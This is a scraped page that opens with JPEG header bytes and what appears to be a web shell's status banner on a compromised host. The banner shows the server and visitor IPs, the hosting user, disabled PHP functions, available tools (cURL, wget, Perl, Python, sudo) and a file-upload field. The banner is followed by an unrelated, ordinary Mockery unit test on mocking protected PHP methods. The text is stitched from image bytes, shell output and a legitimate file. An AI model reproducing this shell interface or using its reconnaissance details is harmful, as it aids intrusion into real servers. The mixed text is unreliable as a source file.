ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.218.44.229 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/mockery/mockery/tests/Mockery/ |
Upload File : |
<?php /** * Mockery * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://github.com/padraic/mockery/master/LICENSE * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to padraic@php.net so we can send you a copy immediately. * * @category Mockery * @package Mockery * @subpackage UnitTests * @copyright Copyright (c) 2010-2014 Pádraic Brady (http://blog.astrumfutura.com) * @license http://github.com/padraic/mockery/blob/master/LICENSE New BSD License */ namespace test\Mockery; use Mockery\Adapter\Phpunit\MockeryTestCase; class MockingProtectedMethodsTest extends MockeryTestCase { public function setup() { $this->container = new \Mockery\Container; } public function teardown() { $this->container->mockery_close(); } /** * @test * * This is a regression test, basically we don't want the mock handling * interfering with calling protected methods partials */ public function shouldAutomaticallyDeferCallsToProtectedMethodsForPartials() { $mock = $this->container->mock("test\Mockery\TestWithProtectedMethods[foo]"); $this->assertEquals("bar", $mock->bar()); } /** * @test * * This is a regression test, basically we don't want the mock handling * interfering with calling protected methods partials */ public function shouldAutomaticallyDeferCallsToProtectedMethodsForRuntimePartials() { $mock = $this->container->mock("test\Mockery\TestWithProtectedMethods")->shouldDeferMissing(); $this->assertEquals("bar", $mock->bar()); } /** @test */ public function shouldAutomaticallyIgnoreAbstractProtectedMethods() { $mock = $this->container->mock("test\Mockery\TestWithProtectedMethods")->shouldDeferMissing(); $this->assertEquals(null, $mock->foo()); } /** @test */ public function shouldAllowMockingProtectedMethods() { $mock = $this->container->mock("test\Mockery\TestWithProtectedMethods") ->shouldDeferMissing() ->shouldAllowMockingProtectedMethods(); $mock->shouldReceive("protectedBar")->andReturn("notbar"); $this->assertEquals("notbar", $mock->bar()); } /** @test */ public function shouldAllowMockingProtectedMethodOnDefinitionTimePartial() { $mock = $this->container->mock("test\Mockery\TestWithProtectedMethods[protectedBar]") ->shouldAllowMockingProtectedMethods(); $mock->shouldReceive("protectedBar")->andReturn("notbar"); $this->assertEquals("notbar", $mock->bar()); } /** @test */ public function shouldAllowMockingAbstractProtectedMethods() { $mock = $this->container->mock("test\Mockery\TestWithProtectedMethods") ->shouldDeferMissing() ->shouldAllowMockingProtectedMethods(); $mock->shouldReceive("abstractProtected")->andReturn("abstractProtected"); $this->assertEquals("abstractProtected", $mock->foo()); } } abstract class TestWithProtectedMethods { public function foo() { return $this->abstractProtected(); } abstract protected function abstractProtected(); public function bar() { return $this->protectedBar(); } protected function protectedBar() { return 'bar'; } }